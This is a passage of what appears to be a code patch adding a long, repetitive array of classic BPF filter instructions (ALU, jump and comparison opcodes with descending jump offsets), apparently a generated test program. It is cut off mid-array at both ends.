.k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000053, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000051, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000052, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x0000002a, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000055, .code = 0x0005, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000055, .code = 0x0005, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000054, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000055, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000018, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0016, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x52, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x51, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x50, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x4f, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x4e, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x4d, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x4c, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x4b, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x4a, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x49, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x48, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x47, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x46, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x45, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x44, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x43, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x42, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x41, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x40, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x3f, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x3b, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x3a, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x39, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x38, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x37, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x36, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x35, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x34, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x33, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x32, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x31, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x0064, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x0064, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x0064, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x0064, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xfe, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xfd, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xfc, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xfb, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xfa, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xf9, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xf8, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xf7, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xf6, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xf5, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xf4, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xf3, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xf2, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xf1, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xf0, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xef, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xee, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xed, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xec, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xeb, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xea, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xe9, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xe8, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xe7, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xe6, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xe5, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xe4, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xe3, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xe2, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xe1, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xe0, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xdf, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xde, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xdd, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xdc, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xdb, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xda, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xd9, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xd8, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xd7, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xd6, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xd5, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xd4, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xd3, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xd2, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xd1, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xd0, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xcf, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xce, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xcd, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xcc, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xcb, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xca, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xc9, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xc8, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xc7, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xc6, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xc5, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xc4, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xc3, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xc2, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xc1, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xc0, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xbf, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xbe, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xbd, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xbc, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xbb, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xba, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xb9, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xb8, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xb7, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xb6, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xb5, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xb4, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xb3, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xb2, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xb1, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xb0, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xaf, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xae, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xad, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xac, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xab, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xaa, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xa9, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xa8, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xa7, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xa6, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xa5, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xa4, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xa3, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xa2, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xa1, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xa0, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x9f, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x9e, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x9d, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x9c, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x9b, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x9a, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x99, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x98, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x97, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x96, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x95, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x94, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x93, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x92, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x91, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x90, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x8f, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x8e, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x8d, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x8c, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x8b, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x8a, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x89, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x88, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x87, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x86, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x85, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x84, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x83, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x82, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x81, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x80, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x7f, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x7e, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x7d, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x7c, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x7b, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x7a, .jf = 0x00 }, + { .k = 